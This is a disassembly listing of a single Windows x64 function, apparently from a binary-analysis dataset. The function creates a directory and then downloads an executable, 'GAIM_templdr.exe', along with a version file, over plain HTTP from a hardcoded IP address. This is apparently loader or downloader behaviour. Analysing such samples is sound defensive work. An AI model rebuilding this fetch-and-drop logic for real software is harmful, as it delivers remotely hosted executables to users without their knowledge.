Function at 0x140003990
Capabilities:
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x140077040]
xor rax, rsp
mov qword [rbp + 0x37], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp + 0x17], xmm0
mov qword [rbp + 0x27], rdi
mov qword [rbp + 0x2f], rdi
mov r8d, 0x19
lea rdx, str.C:GAIMLoaderMW3_ver.txt
lea rcx, [rbp + 0x17]
call fcn.14000a540
nop
xor r8d, r8d
lea rdx, [0x14005eba0]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
mov ebx, eax
test eax, eax
je 0x140003a20
cmp eax, 0xb7
je 0x140003a20
lea rdx, str.Failed_to_create_directory._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140009a20
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int____ptr64]
jmp 0x140003a42
lea rdx, str.Directory_created_successfully_or_already_exists:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140009a20
mov rcx, rax
lea rdx, [0x14005eba0]
call fcn.140009a20
lea rdx, [0x14005ec14]
mov rcx, rax
call fcn.140009a20
xorps xmm0, xmm0
movups xmmword [rbp - 0x49], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x39], xmm1
mov r8d, 0x12
lea rdx, [0x14005eba0]
lea rcx, [rbp - 0x49]
call fcn.14000a2c0
nop
mov r8d, 0xd
lea rdx, [0x14005ebc8]
lea rcx, [rbp - 0x49]
call fcn.140008e20
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 7], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 9], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 7], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp - 0x31]
cmp rdx, 7
jbe 0x140003afd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003af8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
movdqa xmm6, xmmword [0x14006cc30]
movdqu xmmword [rbp - 0x39], xmm6
mov word [rbp - 0x49], di
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x79], xmm1
mov r8d, 0x12
lea rdx, [0x14005eba0]
lea rcx, [rsp + 0x20]
call fcn.14000a2c0
nop
mov r8d, 7
lea rdx, str.ver.txt
lea rcx, [rsp + 0x20]
call fcn.140008e20
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x19], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp - 0x71]
cmp rdx, 7
jbe 0x140003bc6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003bb9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
movdqa xmm6, xmmword [0x14006cc30]
movdqu xmmword [rbp - 0x79], xmm6
mov word [rsp + 0x20], di
lea rax, [rbp + 0x17]
cmp qword [rbp + 0x2f], 0xf
cmova rax, qword [rbp + 0x17]
mov qword [rbp - 0x49], rax
mov rax, qword [rbp + 0x27]
mov qword [rbp - 0x41], rax
call fcn.14005b0a4
movaps xmm0, xmmword [rbp - 0x49]
movdqa xmmword [rbp - 0x49], xmm0
lea r8, [rbp - 0x49]
mov edx, eax
lea rcx, [rbp - 0x69]
call fcn.140001c40
nop
mov qword [rbp - 0x49], rdi
lea rax, [0x1400770c0]
mov qword [rbp - 0x41], rax
lea rdx, [rbp - 0x49]
lea rcx, [rbp - 0x69]
call fcn.140003460
movzx ebx, al
cmp dword [rbp - 0x49], 0
jne 0x140003dde
mov rdx, qword [rbp - 0x51]
cmp rdx, 7
jbe 0x140003c74
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x69]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
test bl, bl
jne 0x140003cce
lea rdx, [rbp - 9]
cmp qword [rbp + 0xf], 7
cmova rdx, qword [rbp - 9]
lea rcx, str.http:__147.189.172.155_GAIM_templdr.exe
call fcn.140003780
test al, al
je 0x140003cb4
lea rdx, [rbp - 0x29]
cmp qword [rbp - 0x11], 7
cmova rdx, qword [rbp - 0x29]
lea rcx, str.http:__147.189.172.155_ver.txt
call fcn.140003780
test al, al
jne 0x140003cce
lea rdx, str.Failed_to_download_the_file._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140009840
mov ebx, 1
jmp 0x140003cd0
mov ebx, edi
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x140003d13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
movdqa xmm0, xmmword [0x14006cc30]
movdqu xmmword [rbp - 0x19], xmm0
mov word [rbp - 0x29], di
mov rdx, qword [rbp + 0xf]
cmp rdx, 7
jbe 0x140003d6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 9]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
movdqa xmm0, xmmword [0x14006cc30]
movdqu xmmword [rbp + 7], xmm0
mov word [rbp - 9], di
mov rdx, qword [rbp + 0x2f]
cmp rdx, 0xf
jbe 0x140003db6
inc rdx
mov rcx, qword [rbp + 0x17]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003db1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003db1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005bdfc
mov eax, ebx
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.14005ba40
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
lea r8, [rbp - 0x69]
lea rdx, [rbp - 0x49]
lea rcx, str.exists
call fcn.140002d90
int3